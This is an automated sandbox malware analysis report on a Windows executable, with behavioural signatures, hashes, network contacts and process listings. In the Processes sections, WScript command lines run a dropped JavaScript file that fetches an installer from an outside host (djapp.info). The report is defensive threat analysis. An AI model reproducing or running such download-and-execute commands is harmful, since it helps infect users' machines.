Malware Analysis Report

2024-10-10 08:17

Sample ID 240613-17n3tasejd
Target a6d7e3d5186acdb272985995c2867619_JaffaCakes118
SHA256 80826d2b67e58649ceeefee8592e4659e5687f79c5fa14a2e6e1330ce28b1b5e
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

80826d2b67e58649ceeefee8592e4659e5687f79c5fa14a2e6e1330ce28b1b5e

Threat Level: Likely malicious

The file a6d7e3d5186acdb272985995c2867619_JaffaCakes118 was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Unsigned PE

Modifies registry class

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-13 22:17

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 22:17

Reported

2024-06-13 22:20

Platform

win10v2004-20240611-en

Max time kernel

94s

Max time network

96s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3272 wrote to memory of 2044 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3272 wrote to memory of 2044 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3272 wrote to memory of 2044 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3272 wrote to memory of 4012 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3272 wrote to memory of 4012 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3272 wrote to memory of 4012 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3272 wrote to memory of 1268 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3272 wrote to memory of 1268 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3272 wrote to memory of 1268 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3272 wrote to memory of 2428 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3272 wrote to memory of 2428 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3272 wrote to memory of 2428 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3272 wrote to memory of 2928 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3272 wrote to memory of 2928 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 3272 wrote to memory of 2928 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF9.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF9.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF9.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF9.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF9.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF9.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF9.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF9.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF9.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF9.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 bi.downthat.com udp
US 34.205.242.146:80 bi.downthat.com tcp
US 8.8.8.8:53 www.hugedomains.com udp
US 8.8.8.8:53 146.242.205.34.in-addr.arpa udp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
NL 23.62.61.194:443 www.bing.com tcp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 www.djapp.info udp
US 34.205.242.146:80 bi.downthat.com tcp
US 8.8.8.8:53 www.djapp.info udp
US 34.205.242.146:80 bi.downthat.com tcp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 www.djapp.info udp
US 34.205.242.146:80 bi.downthat.com tcp
US 172.67.70.191:443 www.hugedomains.com tcp
US 8.8.8.8:53 32.251.17.2.in-addr.arpa udp
US 8.8.8.8:53 www.djapp.info udp
US 34.205.242.146:80 bi.downthat.com tcp
US 172.67.70.191:443 www.hugedomains.com tcp
US 8.8.8.8:53 98.251.17.2.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\fuf3CF9.js

MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-13 22:17

Reported

2024-06-13 22:20

Platform

win7-20240508-en

Max time kernel

144s

Max time network

144s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe"

Signatures

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2420 wrote to memory of 2936 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2420 wrote to memory of 2936 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2420 wrote to memory of 2936 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2420 wrote to memory of 2936 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2420 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2420 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2420 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2420 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2420 wrote to memory of 2192 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2420 wrote to memory of 2192 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2420 wrote to memory of 2192 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2420 wrote to memory of 2192 N/A C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf189F.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf189F.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf189F.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf189F.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf189F.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf189F.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp

Files

C:\Users\Admin\AppData\Local\Temp\fuf189F.js

MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76